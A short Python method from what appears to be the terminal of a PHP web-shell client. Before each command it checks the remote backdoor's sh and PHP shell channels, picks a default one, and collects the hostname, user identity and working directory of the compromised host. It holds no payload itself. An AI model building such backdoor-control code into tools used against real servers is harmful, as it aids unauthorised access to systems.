'Before to execute a line commands. Confirm shell availability and get basic system infos'

def precmd(self, line):

    dlog.info(('>>>>    %s' % line))
    if ((not line) or any((line.startswith(cmnd) for cmnd in (':set', ':unset', ':show', ':help')))):
        return line
    if ((self.session['shell_sh']['status'] == Status.IDLE) or (self.session['shell_php']['status'] != Status.RUN)):
        self.session['default_shell'] = None
        self.session['shell_php']['status'] = Status.IDLE
        try:
            self.session['shell_sh']['status'] = modules.loaded['shell_sh'].setup()
        except ChannelException as e:
            log.error(e.message)
            return ''
    for shell in ('shell_sh', 'shell_php'):
        if (self.session[shell]['status'] == Status.RUN):
            self.session['default_shell'] = shell
            break
    if (not self.session.get('default_shell')):
        log.error(messages.terminal.backdoor_unavailable)
        return ''
    if (not self.session['system_info']['results'].get('hostname')):
        modules.loaded['system_info'].run_argv(['-info', 'hostname'])
    if (not self.session['system_info']['results'].get('whoami')):
        modules.loaded['system_info'].run_argv(['-info', 'whoami'])
    if (not self.session['file_cd']['results'].get('cwd')):
        self.do_file_cd('.')
    return line
